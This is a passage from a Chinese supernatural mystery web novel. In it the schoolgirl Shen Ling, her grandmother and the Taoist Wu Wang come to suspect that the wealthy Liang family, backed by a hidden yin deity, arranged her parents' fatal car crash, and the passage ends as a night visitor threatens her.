在梁森的身后，一个身着黑色西装、面容严肃的管家正缓缓地从转角处走出来，这个管家的手中提着一个精致的果篮，果篮的材质看起来十分高档，上面还装饰着精美的花纹，而果篮里的水果显然都是经过精心挑选的，不仅种类繁多，而且每一种都价格不菲……有来自热带的芒果、火龙果，还有来自温带的苹果、梨子，甚至还有一些稀有的进口水果，如日本的草莓、智利的车厘子等等。
“好家伙……我妹妹居然有个这么有钱的同桌。”
221. 梁氏集团
在沈聆回到家的时候，外婆正煮好了稀饭等着她。
“我回来了。”
“洗洗手，准备吃饭了。”
沈聆定睛一看。
米粒熬煮得软糯绵密，吸饱了清水的温柔，化作入口即化的甜香，每一勺都裹着浓稠的米油，仿佛琥珀色的绸缎，缠绕在勺壁上缓缓流淌。
掀开锅盖的瞬间，氤氲的热气裹着谷物特有的清香扑面而来，像外婆布满皱纹却温暖的手掌，轻轻抚过鼻尖，撒一把切碎的青菜，卧上半颗溏心蛋，细碎的葱花点缀其间，看似朴素的一碗稀饭，却盛满了岁月沉淀的醇厚滋味，每一口都带着家的温度，熨帖着味蕾，也暖着心窝。
“感觉很好吃诶！外婆做的稀饭天下第一！”
“你这丫头，嘴这么甜……最近很辛苦吧？”
外婆说着，盛了一碗稀饭给沈聆。
沈聆闻着那暖暖的米饭的味道，感觉到胃里都暖和了，上了一天的课，身体的疲惫似乎在这一刻也得到了放松。
“嗯呐，也还好，不过世纪大酒店的事情总算是解决了，而且，沈凝也换病房了，定期可以去探视，我想，再过一段时间，她就能转到普通病房了。”
“凝娃儿还好吗？我想煮点补品带过去给她。”
“可以呀，外婆，可以炖一些鸡汤去。”沈聆喝了一口热粥，转了转眼睛，“我记得明夷跟我说过，沈凝现在的病房，是一三五可以去探视，不过探视时间是在早上八点到十点，为了不打扰其他病人睡觉，我们不要太早去，但是也不要太晚。”
“凝娃儿在吃医院的的东西，能好起来吗？聆娃儿，要不，你跟你那个朋友说说，看看能不能走走后门，我们自己送东西给凝娃儿吃，自己做的东西，比较真材实料。”
“哎哟，外婆，人家医院准备的营养餐都是根据病人的实际情况和用药情况安排的，虽然现在沈凝在恢复期，但是身体也不能一下子吃太多大补的东西，她身体比较虚，虚不受补，咱们还是慢慢来吧。”
沈聆说着，夹了个煎蛋放在外婆碗里。
听完，外婆才将信将疑地点了点头。
“这样吗？但是我总觉得医院不是很靠谱……唉，不过还是听你的吧，现在医学这么发达，我们老人家已经跟不上时代的脚步了。”
“怎么会呢，外婆，科技再发展，那也是服务人类的。”
“不过，你别说啊，现在的医学还真厉害，凝娃儿那么重的伤，都给救回来了，这要是放在我年轻的时候，那还真不好说。”
“外婆您年轻的时候，也没有汽车呀，更不会发生车祸了。”
“哎哟，这倒是。”
祖孙两人絮絮叨叨地说着，一顿简单的晚饭，但是在沈聆看来，却很温馨。
她喜欢这样家人坐在身边一起吃饭的感觉。
尤其是在爸妈去世后，她便格外珍惜这样团聚的时光。
人，总是在失去之后才会懂得珍惜。
“聆娃儿，这些事情会影响你的学习吗？我还挺担心的，毕竟你现在也高三了，唉，我听说高三是最关键的一年，能不能上个好大学，就看高三这一年了。”
“我个人感觉问题不大，外婆。”沈聆安慰道，“这几次模拟考下来，我的成绩还行，虽然高三是比较关键的一年，但是高考的知识点在高二就已经全都学完了，我们现在不过是在巩固复习而已，我努力一点，我想应该是没问题的。”
外婆也知道沈聆是在安慰自己，虽然心疼外孙女，但是也没有其他办法。
毕竟当时是为了保住另一个外孙女，不得已，才让二人以红绳共命，如果不这么做，沈凝必然保不住。
“唉，苦了你了，聆娃儿。”
“不会的，能让沈凝活下来，我很开心！”
“如果不是已退任的阴厨不允许再次继任，我也不会把这个事情交给你，你还年轻，却和死人整天凑一起，身上沾染了阴间的气息，毕竟不好。”
“我感觉这不一定坏事，外婆，在接触‘阴厨’之前，我对生命没有敬畏之心，认为人生不过是来去匆匆的‘蜉蝣一梦’，但是在接触这些事情之后，我觉得，生命是很珍贵的，我们活着的人，更要好好珍惜自己的生命，不要给生命留下遗憾。”
“是这样的。”
“我看过好多遗憾离世的人，有老人也有小孩，我现在感觉，人在天地万物面前，真的是太渺小了，我们能珍惜的，就是当下的时间和身边的亲人……所以，外婆，让我继任，并不是坏事，能为这些亡魂做点事情，我也很开心。”
“但是，你在办事的时候，也要注意安全，亡魂的事情，往往牵扯到的是阴阳两界的纠葛矛盾，很多时候，阳间的人，比阴间的鬼更可怕。”
“这倒是……”
沈聆喃喃着，脑海中不由得浮现出曾经在店里养小鬼、供奉阴神的面包店店员，以及心怀鬼胎的顾六壬、残忍嚣张的顾健，这些明明是阳间的人，却做着背德的勾当，残害他人，没有任何慈悲之心。
这样的人，比鬼更可怕。
“世纪大酒店好像是梁氏的产业？”
外婆冷不防问了一句。
沈聆回过神来，看向了外婆：“啊……啊对，是梁氏集团名下的，但是在世纪大酒店的丑闻曝光之后，梁氏集团迅速撇清了关系。我听明夷说，他们还发了律师函，声明这一切都是顾六壬背着他们做的勾当，他们对世纪大酒店里发生的黄赌毒等恶性事件一概不知，甚至打算起诉顾六壬，反咬一口顾六壬。”
“哼。”外婆冷哼，“厚颜无耻。”
“如果说这件事情背后没有梁氏集团的操控，我是不相信的。”
“嗯，我也是。”
“但是……梁氏集团是我们陵川市的也产业巨头、纳税大户，我想，不到万不得已，政府也不会抛弃他们，必须要有直接性的证据，才能一棍子打死。”沈聆
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蹙眉，“而且我更担心的是，虽然顾家已经落网，但顾家的案子里，并没有牵扯到那个逃走的阴神，根据黑白无常所说，她一定还藏在陵川市，而且我怀疑，她很可能就藏在梁家，毕竟只有梁氏集团有那个实力供养阴神。”
“应该是……梁氏，曾经住在西乡村，就在我家旁边，这四十多年来，他们家族可以为是一朝翻身，飞黄腾达，其实，我曾经也有一瞬间的疑心，怀疑这背后所有一些特别的因素在推动，现在这么一说，感觉是阴神的概率很大。”
“但是外婆，他们不怕被反噬吗？”
“反噬也是要看情况的，如果他们能一如既往满足阴神的愿望，阴神就会继续庇佑梁氏家族的发展，毕竟阴神也是需要阳间的人为自己搜集亡魂，这更像是……相互利用的关系。”
“那我们如果要调查阴神，其实从梁氏集团下手，也是一个不错的选择？”
“嗯，虽然没有直接性的证据，但是我认为这两者确实存在千丝万缕的联系。”
“我明白了。”
“聆娃儿，我听说梁业那个大孝子，最近打算为他母亲做一场法事，头七的时候，在他们梁家，他也知道我是西乡村里的神婆子，打算着邀请我去他们家一起参加这法事，不过我想着，我年纪也大了，懒得走动，不过你用我的名义去看看，倒是也没问题。”
听到这里，沈聆眼前一亮，似乎看到了一个千载难逢的好机会。
“真的吗？！我很早之前就想去调查梁家的，只是一直没有一个契机，不只是我，还有道长，他之前也去过梁家祖宅，不过不知道有没有什么收获，外婆，我能带上道长一起去吗？”
“青城山的那个臭小子？”
“对，道长虽然年轻，但道行不浅，我想，如果梁家真的有还什么危险存在，有道长在身边，我也会相对放心一点。”
看着沈聆那兴奋的表情，外婆眉头皱得更深了。
她看着沈聆那兴奋的表情，不知道为什么，想起了自己年轻的时候，想起了自己和玉蘅子的初遇，以及那段早已经被遗忘在岁月中的时光。
许久，她才叹了口气。
“你愿意和他去，就去吧，不过，聆娃儿，我有件事情要提醒你。”
“什么？”
“他们青城山的人，都是脾气古怪的人，而且，他们以修炼为立命之道，是不会为了你打破宗门规则的，如果你看上了那小子，我觉得你还是早点死了那份心吧，你们是不会有结果的。”
听到这里，沈聆脸颊一红。
“外婆您说什么啊，我不懂……”
“你现在也要十八岁了，很快，外婆就管不了你了。”外婆眉头深锁，表情严肃，“这世上的好男儿，你可以选择任何一个作为共度一生的人，但是唯独青城山的人，不行，聆娃儿，听外婆一句劝，你如果不想和那臭小子闹到无法回头的地步，最好，还是保持朋友的距离，这对你，对他，都好。”
222. 玄霄真人
第二天，恰好是周日。
沈聆跟学校告了假，不参与周末自习，而出发去了青城山。
踏入青城山下的瞬间，潮湿的山岚裹挟着草木的清香扑面而来。
抬眼望去，苍翠欲滴的树木像被谁精心排列过，层层叠叠挤满了连绵起伏的山岗，如同大自然用浓墨重彩绘就的绿色屏障，深浅不一的绿在晨雾中晕染开来，深绿的松柏、浅绿的翠竹，还有墨绿的灌木，交织成一幅立体的青绿山水长卷。
那延绵不绝的山脉，恰似一条被岁月浸染的深绿色绒毯，轻柔地覆盖在大地之上，褶皱间藏着数不清的幽壑深谷，仿佛每一处起伏都在诉说着千年的光阴故事。
沿着山下的青色石砖往上，在半山腰的地方，便能看到一座道观。
清晨的薄雾还未散尽，古寺山门前已涌动起人潮。
今天有许多进香的人，步履蹒跚的银发老者占了大半，他们像被某种神秘力量牵引的候鸟，从城市的各个角落汇聚至此。
有些老人拄着磨得发亮的檀木拐杖，佝偻的脊背弯成古老的月牙；有些相互搀扶着，鬓角的白发在晨风中轻轻颤动，宛如冬日里未化的霜雪。他们白发苍苍，脸上纵横的皱纹里藏着岁月的故事，浑浊的眼眸却因虔诚而熠熠生辉。
来这儿的人，每个人怀里都抱着精心准备的香烛，黄裱纸在掌心攥出细密的褶皱，烛泪凝结成剔透的琥珀状，有人双手合十，嘴唇翕动着默念祷词，枯瘦的指节泛着青白；有人将额头轻轻触碰冰凉的石阶，尘埃落在银丝般的鬓发间。
香烟袅袅升腾，与山间的云雾缠绕交融，仿佛他们内心那些关于健康、关于儿孙的祈愿，正顺着氤氲的香气，飘向云端的神明。
沈聆来到了道观，便被一个小道士认出来了。
“诶？我认得你，你不是上次来疗伤的那个……那个……沈……”
“我叫沈聆。”沈聆一笑。
“哦，对对！我记得你，当时在哑伯和聋伯那儿疗伤来着！我还给你送过饭。”
“对，当时伤重，被玉蘅子真人带回来了……这次我来，是想看看吴妄道长的伤势恢复得如何，她还好吗？”
“吴妄师兄？他闭关疗伤，在后山的寒潭那儿，不过，那个地方外人不能去，要不您先在这儿等一会儿，等我问过掌门师兄后，再跟您说。”
“好，你们的掌门师兄是玉蘅子真人的师弟吗？”
“对，之前是玉蘅子师伯是掌门，自从二十年前玉蘅子师伯闭关修炼后，掌门便传给了我师傅，也就是玄霄真人。”
“这样啊……”沈聆低声说道，“我不过我上次来的时候，好像没有见到他。”
“对，上次我师傅云游去了，刚好不在，不过他前段时间回来了，您稍等，我这就去跟他禀报一下……不过，我不敢保证他会同意，我师傅这个人比较死板，他下了严令，不允许外人进入内观，所以，我觉得很还是不要报太大的希望。”
“没事，我就在这里等着，进不去也没关系，只要吴妄道长伤势好多了就好。”
“嗯嗯，您稍等我一下。”
那小道士说着，一溜烟跑进了道观里。
沈聆因为是外人，又是女人，因此不方便跟进去，便等在了外面。
今天前来道观上香的人不少，三三两两地在庭院里休息，庭院里种着许多青翠的松，那挺拔的松树在庭院白色的石砖上留下了浅浅的阴影，一阵风吹过，风中带着湿软泥土的味道，唤起人对远山与自由的向往。
“走开，你这只畜生，也配窝在这里？”
就在这时，一个声音从旁边传来，接着，沈聆便听到了一声猫叫。
转头看去，只见一个正蹲在软垫上的老大爷，一拳打开了一只三花猫，那三花猫蜷缩着身子，颤抖着看着他。
“去去去，你这小畜生，这垫子是给人上香跪拜的，你在这里占位子作甚！”
老大爷嫌弃地看着小三花猫，眼底带着怒意。
小三花蜷缩着身子，想往前走，却又不敢。
周围的人都被这动静所吸引，大家议论纷纷，但却也不敢上前阻止。
“这老大爷也太冷漠了，怎么在道观里打猫啊？”
“不过这也是正常，谁让那只猫一直趴在软垫上？别人还怎么跪拜？”
“这里可是道观啊，没有慈悲之心的人也来上香？”
……
众人议论纷纷中，老大爷不满地哼了一声，自顾自地跪拜起了道观里的三清。
小三花猫见不被允许趴在软垫上，便悻悻地离开了。
没走几步，便看到眼前是一双小白鞋。
它顺着那小白鞋抬起头，便对上了一双温柔的眼眸。
“你好啊。”
沈聆蹲下身，抱起了三花猫。
“喵——”
它眨了眨眼睛，本想挣扎一番，但方才被大爷打了一拳，右侧身子疼痛着，让它动弹不得，左右为难之间，只得被抱起来了。
“别动，我看看你是不是被打伤了。”沈聆说着，将小三花猫抱到了旁边廊下。
在将小三花猫放到连廊石凳上时，它往旁边躲了几步，拉开了和沈聆的距离，戒备地看着眼前的女孩。
它眨着眼睛，那双晶莹的眼睛如同宝石一样，一眨一眨的，满是灵气。
就在这时，它似乎看到了沈聆身上莹绿色的光。
“喵？”
它歪了歪小脑袋，清晰地看到那莹绿色的光来自于沈聆的身体里，似乎是……胸口的位置。
它是一只猫，并且是道观里的猫。
它有着与众不同的灵性，能看到肉眼看不到的东西。
比如。
灵元草。
“喵……”
“别怕，我帮你检查一下。”沈聆说着，摸了摸小三花猫的头。
似乎是灵元草安抚镇定的效果，让小三花猫也逐渐安静了下来，它低下了头，任由沈聆摸着自己的身体，感觉到灵元草的灵气从沈聆的掌心扩散，笼罩着它那小小的身体，身上的疼痛也减轻了几分。
“喵……”
小三花猫眯起了眼睛，它感觉到很舒服。
那感觉，就像是有一阵青烟笼罩着自己，冰冰凉凉的，身体也逐渐放松了下来。
“喵……”
它眯着眼睛，翻了个身，露出了白色的肚皮。
“这孩子很
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喜欢你呢。”
一个声音从旁边传来。
沈聆讶异地回头看去，只见一个年近花甲的老道士不知何时出现在了自己身边，他的脚步像是没有声音一样，等沈聆注意到他的时候，他就像是那庭院里的青松，立在那里。
“您、您是……”
此时，方才的小道士从那老道士身后探出脑袋，笑着看向沈聆：“沈小姐，这就是我师傅，玄霄真人。”
“原来是玄霄真人，失敬失敬。”沈聆忙站起身，鞠了一躬。
玄霄真人看起来已经六十岁了，随意挽成的髻间还散落着几缕银丝，被山风轻轻撩起，脸上布满纵横交错的皱纹，像古树年轮般镌刻着岁月痕迹，眼角的褶皱里仿佛藏着无数故事，一双眼睛却明亮深邃，似山中幽潭，平静中透着洞悉世事的睿智。
这青城山道观里，每一位老道长都是如此道骨仙风，经历了岁月和时间的洗礼，更体现出骨子里的稳重自持。
“原来如此，灵元草吗？”玄霄真人眯起眼睛，一眼看到了沈聆身体里的灵元草，“难怪元宝这么喜欢你。”
沈聆眨了眨眼睛：“元宝？”
“喵……”
“原来你叫元宝呀。”沈聆笑着看向了身边的小三花猫。
小三花猫听见有人在唤自己，忙翻过身，从椅子上跳了下来，三步并作两步，来到了玄霄真人身边，抬起头，用毛茸茸的小脑袋蹭了蹭真人的道袍。
“真人，方才有人……”
“不必说了，这些我都已经知晓。”玄霄真人说着，捋了捋胡子，“世人不懂，万物平等，他们前来进香，是有求于神明，但却忘了不该虐待生灵，这样人，哪怕是进香了，也不一定会得偿所愿。”
沈聆点头。
“你是来看吴妄的吧。”
“……是。”
“他的伤已经好多了，我师兄已经吩咐了聋伯哑伯照顾他，想来不多时就能完全恢复。”
“原来如此。”沈聆松了口气，“不知……我能否进去探视呢？另外，我也有一些情况想告诉吴妄道长，这几天他一直闭关，我想，外界有些情况，他会很感兴趣的。”
听到这里，玄霄真人眯起了眼睛，表情透出几分严肃：“道教圣地，不容许外人进入，沈小姐还是离去吧。”
“但是我之前……”
“之前沈小姐在本教疗伤，那是因为我师兄玉蘅子不拒礼数，但我作为本派掌门，不得不严守教规，希望沈小姐能体谅本道的难处。”
“……好。”
见玄霄真人态度强硬，沈聆也无可奈何，毕竟这里是人家的地方，必须按照人家的规矩办事。
沈聆恭敬地鞠了个躬后，准备离开。
没走几步，听见身后玄霄真人说道：“沈小姐。”
“嗯？”沈聆回头看去。
“看在你帮助过元宝，老道有一个忠告。”
“您说。”
“我见您眉宇间有阴气缭绕，身周寒气森森，想来已被冤魂纠缠多日，此阴魂道行不浅，盘踞陵川，若是可以，我建议您离开陵川，另寻他处，方可安身，确保自身无虞，否则，不多日，您将有血光之灾、性命之忧。”
223. 意图
在沈聆回到家时，外婆已经往平安医院去了。
她炖了汤，想带给沈凝喝，说是要给外孙女补补身子。
沈聆一个人在家里，简单洗完澡后，回到了书桌前，看着满满一桌子的高三习题本，只感觉脑袋沉重。
她坐在书桌前，有些茫然地看着那些练习册。
想到在班上的那些同学，一个个已经对高考胜券在握，像是已经有了自己理想中的大学，每天沉浸在题海之中，只为了在考场上比别人多考出那么几分。
他们对自己的人生像是有着明确的规划，前途一片坦荡。
相比起来，自己似乎更多的是迷茫和无措。
自从父母亲出事后，她从来没有考虑过自己的前途问题，读书，也只是按照之前的读书模式进行复习，至于未来要考什么大学、什么专业，却没有考虑过。
在这个年龄段的孩子，父母们都开始为孩子们的未来考虑，打听各大学、各专业的历年录取分数线了，而沈聆，却整日忙于与阴魂打交道，满心想着的是为妹妹多积攒一些阴德，至于自己的未来，却仍旧是一片空白。
她拿起笔，翻开试卷，看着上面的化学公式，感觉那些公式就像是一道道木栅栏，拦住了自己前往未来的路。
她不知道自己要去哪里，也不知道自己是否还有光明的未来，她隐隐约约感觉到，就算上了大学，自己也脱离不了“阴厨”的身份，而这样的身份，是否能为未来的大学舍友们所接受？如果知道了她正在做的事情，能有几个人和宋明夷一样欣然认同？
“……”
书桌前的台灯，照亮了一方小小的区域，她看着自己握笔的手以及在试卷上投下的阴影，脑海中却不由得浮现出另一张年轻的面孔……
吴妄。
不知道为什么，她突然有点儿想他。
就是突如其来，无法控制的，想他。
想起了自己第一次在平安医院天台见到他从天而降的模样，想起了自己在幻境中与他生死与共的模样，想起了他住在家里的点点滴滴，甚至是，自己当初在青城山暂住时两人的相处。
“额……”
在注意到这个念头的时候，沈聆自己也不由得暗暗吃惊，但她确实已经想了好一会儿了，以至于，当水笔的尖端在纸张上留下一长串拖延的痕迹，自己也浑然不觉。
“我在想什么啊……”
沈聆摇了摇头，强迫自己将注意力集中在眼前的试卷上。
只不过，吴妄那张清俊的脸，仍旧是会不由自主地浮现在眼前，让她无法集中注意力解题。
半个小时过去了，还做了不到五道题目。
“可恶！”
索性放下笔，气呼呼地坐在椅子上。
“都怪道长！都怪那个大猪蹄子！”
——男人，果然是祸水！
——特别是那些长得好看的男人！
沈聆气呼呼地想着。
“怪我做什么？”
冷不防，熟悉的声音从身后响起，沈聆吓了一跳。
回过头，只见不知何时，吴妄正背靠着墙壁，站在房门口。
他的头稍稍向一侧倾斜，目光落在自己身上，仿佛在审视着什么。
他的头发被整齐地束成一个马尾，垂落在他的后背上，随着他的动作轻轻晃动，在他的脸颊旁，有两缕发丝自然地垂落下来，轻轻拂过他的面庞，给他增添了一丝柔和的气息。
然而，与这丝柔和形成鲜明对比的，是他那如寒潭般平静的眼神。
他的眼睛深邃而清澈，没有丝毫的波澜，就像冬日里的湖水，冰冷而宁静。
他看着她，似乎在揣摩为何自己无缘无故挨骂。
“我……”
沈聆脸颊一红，心虚地转过头，滴溜溜地转着眼珠。
“我……道、道长，你怎么出现在这里？”
“哦，我今天刚出关，就听见小师弟说今天有个女孩子上山找我，我寻思着，找我的人除了你也没有别人了，就来看看你是不是遇到什么麻烦了，没想到一进来就听到你在骂我。”
“我……哈哈哈你听错了吧。”沈聆挠了挠脸颊，感觉到自己的后背在冒虚汗。
“不可能，我能听到百里之外的声音，哪怕是落叶之声也清晰可辨，我不可能听错。”
吴妄微微眯起眼睛，缓步走到了沈聆身边，他低下头，看见了沈聆面前的这张化学试卷。
“……这是什么鬼画符？”
“额，这是化学公式。”
“什么是……化学？”
“怎么说呢……大概是一种研究物质及其相关反应的学科，像我们现在很多西药都是通过化学实验研发出来的，通过化学，我们才能更加了解物质的内部结构，掌握物质的合成和分解。”沈聆忙转移了话题，生怕吴妄追究。
“……不懂。我认为，中草药比那些药片有用的多，我们青城山的人，生了病，都是吃中草药。”
“哈哈，是啊……对了，道长，我今天去找你，确实是有事情想跟你说的。”
“嗯？什么事情？”
“是这样，我们已经解开了世纪大酒店的谜团……”
沈聆说着，起身搬来了一把椅子，将世纪大酒店后来发生的事情，从头到尾告诉了吴妄。
那日，自从吴妄离开后，便发生了其他许多事情。
也正是这些变故，让她们查清楚了顾倩倩和顾健的纠葛，从而解开了世纪大酒店背后的阴谋。
沈聆细细地说了许久，吴妄皱着眉头听着她所说的话，始终一言不发。
一直到最后，沈聆告知吴妄世纪大酒店已经被查封的事情，吴妄这才点了点头。
他的表情十分严肃，眼角眉梢透着与他当前年纪不相符的老成。
“原来如此，但我觉得，顾家应该是梁氏集团的走狗，这背后没有梁氏集团的参与，我是万万不相信的。”
“是啊，但是，我们没有证据。”沈聆轻声说，“我听林凌说，警方也怀疑这一切交易背后有梁氏集团的手笔，但是奇怪的是，至今为止没有发现任何证据，顾六壬很聪明，他的账本做了两份，警方手里掌握的，是提前做好的假账，从假账上，完全看不出顾六壬和梁家有非法资金往来，他给集团转账，都是按照集团当前的管理规则做
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的，剩余的灰色收入，并没有体现在账目上，因此，警方暂时没有办法将梁氏集团和世纪大酒店的事情联系起来。”
“这样……”
“是，而且这件事情被曝光后，梁氏集团第一时间找了律师，对外撇清了关系，甚至认为自己是受害者，是顾六壬在中间中饱私囊，他们也是被假账欺骗，要起诉顾六壬。”
“丢卒保车。”
“对，梁氏集团的法律顾问团很强大，他们几乎没有败诉过，我怀疑，他们很早之前就已经想到了会有东窗事发的这一天，所以早已经做好了完全的准备，一旦顾六壬的事情败露，他们也有办法独善其身。”
“这么说……我们还是需要找找其他办法，看看能不能查到梁氏集团的问题。”
“对了，道长，你不是去西乡村了吗？梁氏祖宅，有没有发现什么问题？”沈聆好奇地眨了眨眼睛。
她一直对梁氏集团倍感好奇，随着一桩又一桩的秘闻浮出水面，梁氏集团，这个商业集团背后似乎藏着更加可怕的秘密，而且她隐隐约约觉得，这个秘密，一定和神出鬼没的阴神有关系。
她现在仍旧藏在陵川市，黑白无常和孟婆都在找她，可至今为止未见进展，可见供奉她的，并不是一般人，能做到这一点的，很可能只有梁家。
“……那天我去了西乡村，确实在你外婆家旁边看到了梁家祖宅，并且，我也看到了梁家现任话事人，梁业。”
“什么？你看到了梁业？”
“对，怎么，你没看过吗？他们不是你外婆的邻居吗？”
沈聆摇了摇头：“虽然是我外婆的邻居，但是我妈妈很少带我和妹妹去外婆家，而且每次去的时候，梁家祖宅总是紧闭大门，所以我们也没有见过梁家人，所谓的梁业，也只是偶尔在新闻报道上看到他而已，传言，自从他从父亲手中接手了梁氏集团后，扩大了集团的商业版图，并且开始涉猎房地产和实体行业，进一步将企业规模扩大，从这一点来说，这是一个很有商业头脑的人。”
“嗯，我看着他是一个不苟言笑的中年人，大概四五十的样子。”
“他应该就是梁林和梁森的父亲，只是，不知道他是不是只有两个儿子。”
“梁森？”
“嗯呐，对啦，道长，我还没有告诉你，我妹妹沈凝已经从ICU转出了，她的身体好了很多，不知道是不是灵元草的关系……我去探望沈凝的时候，见到了一个自称是我妹妹同桌的人，那小孩说他叫梁森，是梁林的弟弟。”
吴妄一声冷哼，脑海中浮现出那个公子哥的模样。
“狐狸的弟弟，多半也是一只小狐狸。”
“狐狸？”
吴妄看向了沈聆：“你不觉得太奇怪了吗？在你接任阴厨之后，先是梁林成为了你的同桌，然后发现梁森是你妹妹的同桌，这一切就像是有人刻意安排的……”
沈聆一愣：“你的意思是……”
吴妄声音低沉地说道：“梁家，正在一步步接近两个可能接任阴厨的人，这绝不是偶然，他们一定有自己的目的，他们，或许想得到什么，而这一切，很可能需要阴厨的参与才做得到。”
224. 深夜的访客
“你是说……这一切都是梁家在背后刻意安排的？”
“嗯，我认为，不能排除这么一种可能。”吴妄静静地看着沈聆，他的眼睛就像是没有温度的寒冰，“沈聆，你仔细想想，整个陵川市这么大，为什么偏偏你们姐妹俩的同桌都是梁家少爷？这一切是偶然的话，是不是有点说不过去？”
吴妄的声音很轻，但听起来让人惴惴不安。
就像是，大雨将至、乌云密布的天空，沈聆隐隐约约感觉到似乎有莫名的危机朝着自己逼近，但让她不安的是，她也不知道危险来自何方，甚至不知道造成威胁的人是谁。
这才是最恐怖的。
敌人躲在黑暗中，伺机而动。
她在明处，十分被动。
“……的确是有些说不过去，其实，在看到梁林的时候，我也感觉有点不对劲，你知道的，这种富二代，一般都是出国留学，一直到大学后才回来中国，但梁林和梁森，一开始就在陵川读书，我们陵川的教育资源也不是有多好，但他们却选择在这里……这也让我很费解。”
“嗯，你们还是小心一点，我们现在还不知道他们要做什么，没有证据，暂时没有办法对付他们，只能以静制动，静观其变。”
“可是……道长，他们到底想要什么呢？”沈聆抬起头，那双大眼睛里满是不安，“而且，很奇怪，如果不是车祸，阴厨仍旧是我妈，他们接近我们，是没有必要的啊……”
“是啊……但这不是突然发生了车祸了吗。”
“你、你的意思是……梁家早就预测到了会有这么一场车祸，从而让我们姐妹俩变成下一任阴厨？！”
吴妄沉默不语，然而他那若有所思的神情却让沈聆心中不由得泛起一阵寒意，这个观点仿佛是一道闪电，划破了沈聆内心深处的黑暗，让她突然意识到一些原本被忽略的事情。
“可是，梁森应该是在车祸发生前就已经是沈凝的同桌了，可在那个时候，阴厨应该是妈妈才对，不是沈凝，但他们却已经开始布局了……这是为什么呢？”
沈聆不禁打了个寒颤，她开始重新审视这个观点，越想越觉得其中蕴含着某种无法言说的恐惧，这个观点就像一个隐藏在黑暗中的怪物，正悄悄地窥视着她，等待着合适的时机突然扑上来。
“他们明明也是一介凡人，为什么有能够预知未来的能力？不，他们身后，可能有某种超出凡人的力量，在帮助他们，正是那个力量，预测到了这件事情的发生……是阴神！那个小女孩！”
沈聆的心跳开始加速，额头上也冒出了一层细汗。尽管吴妄没有说话，但他的沉默却比任何言语都更有力量，让沈聆无法忽视这个观点所带来的冲击。
“还是说……不只是预测，甚至，甚至……车祸都是他们安排的？！！”
讲到这里，沈聆猛地站起身，她身后，椅子撞到了书桌，发出了清脆的声音。
吴妄缓缓地抬起头，目光直直地落在沈聆身上，他凝视着她的眼睛，突然间，他被一股强大的力量所吸引，仿佛那双眼眸是一个深不见底的漩涡，将他的灵魂都卷入其中。
在那一瞬间，吴妄清晰地看到了沈聆瞳孔中的情绪——震惊和仇恨。
这两种负面的情绪交织在一起，如同狂风暴雨中的海浪一般，汹涌澎湃，让人不寒而栗！
“沈聆，我们没有证据……”
“不！一定是他们！那条路是我爸爸妈妈每次来接我都会走的路，而且那个时间段根本没有什么车辆，为什么刚刚好就在那个路口车祸了？！！那个角度，直接把驾驶座和副驾驶座撞得粉碎，根本不给他们留下任何活下来的可能！他们就是要我爸妈死掉，从而我和妹妹，无论哪一个继承了阴厨，都会任由他们摆布！！”
沈聆的眼瞳里似乎有一场风暴正在肆虐，风起云涌，暗潮涌动。
那是一种无法用言语来形容的强烈情感，它们在她的眼中翻腾、咆哮，仿佛要冲破眼眶的束缚，喷涌而出。
可悲的是，她像是后知后觉才发现自己被布局暗害的人，只能眼睁睁地看着这一切的发生，却没办法阻止。
吴妄叹了口气。
是的。
这样的感觉。
这样的愤恨。
他太熟悉了。
曾经，他也经历过。
吴妄沉默着，脑海中浮现出了那一年吴家村被屠杀的画面，耳畔仿佛还回荡着亲人被杀害的哀嚎，眼前仿佛也被鲜血染红了一层。
他看见鲜血喷溅，他听见家人呜咽。
有人在布局害他，但他却无能为力。
“……我理解你，沈聆，但是现在，一切只是我们的推测，我们需要找到证据，需要找到背后真凶，才能为他们报仇。”
吴妄伸出手，握住了沈聆握着的拳头。
他感觉到她的拳头十分冰冷，甚至，有些颤抖。
“我……我要去问梁林！他一定知道什么！否则……否则他不会之前就出现在我的幻境里！他一定知道什么！”
沈聆说着，就要离去。
她清楚地记得在秦琴的幻境里，自己看到过梁林，在那个时候，自己甚至还不认识梁林！这一切一定有着某种特殊的含义，很可能就和阴神有关！
吴妄一把拉住了沈聆：“你现在去，他会承认什么？你觉得他会承认什么？”
“我……”
“清醒一点，我们只有找到证据，才能制裁他们！无论是用阳间还是阴间的制裁！”
吴妄直直地看着沈聆，清清楚楚地看到她眼底的泪光，以及那仇恨背后的无助。
她在抖。
咬着牙，不让眼泪掉下来。
“道长，我……我不能就这样放过他们，我……”
话音未落，吴妄伸手抱住了她。
沈聆微微睁大了眼睛，这一瞬间，似乎连呼吸都忘记了。
她静静地站在那里，感受着吴妄身边那股淡淡的檀木香，那股香气仿佛有生命一般，轻轻地萦绕在她的周围，让她的心情渐渐平静下来。
沈聆微微闭上眼睛，深深地吸了一口气，那股檀木香便顺着她的鼻腔，缓缓地流入她的身体，她能感觉到那股香气在她的身体里游走，仿佛是一双温柔的手，轻轻地抚摸着她的每一个细胞。
与此同时，她也能感受到吴妄胸膛的温度，那是一种温暖而又坚实的感觉，他的体温透过衣物传递到她的身上，让她原本
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有些发冷的身体渐渐暖和起来。
“道长……”
在这一刻，她觉得自己仿佛被一团温暖的火焰所包围，身上的寒冷在这股温暖中逐渐消融，她的身体也不再颤抖，像是被融化的冰块一般，完全融入了吴妄的怀抱中。
“别怕，我会和你一起。”
“我……”
“我跟你，是一样的人，我也有很多事情，要质问他们，但是在我们没有足够强大的力量之前，我们只能静静折服，等待关键的机会。”
“好……”
话音未落，吴妄一抬手，打在了沈聆的后颈。
沈聆眼前一黑，晕倒在吴妄怀里。
他抱住她，缓缓将她放在了椅子上，转身，看向了窗外。
就在他转身的一刹那，仿佛时间都凝固了，他原本那温柔而带有温度的眼神，如同被施了魔法一般，瞬间变得冰冷至极，让人不寒而栗。
那眼神中透露出的不仅仅是冷漠，更有一种隐隐的杀气。
这股杀气如同一股寒风吹过，让人不禁打了个寒颤，仿佛能感受到他内心的愤怒和决绝。
他看着窗外漆黑的夜空，以及夜空下屋顶上站着的一个身影，冷笑道。
“看了这么久的热闹，满意了吗？”
下一秒，对方用传音入秘之术，传来了一个声音——
“不愧是青城山的关门弟子，小伙子，你比我想象中要更厉害一点。”
“哼，贵客深夜造访，不会是来看小姑娘写作业的吧？”
两人之间隔着百米，但都用传音入秘之术，清晰地对话。
对方的声音浑厚，可以看出，也是一个功力深厚的人。
“你猜得不错，我是来了结这个小姑娘的，这小姑娘，做了不该做的事情，她不应该继续存在。”
“了结？就凭你？”
“哦？小伙子，你是特地来保护她的？”
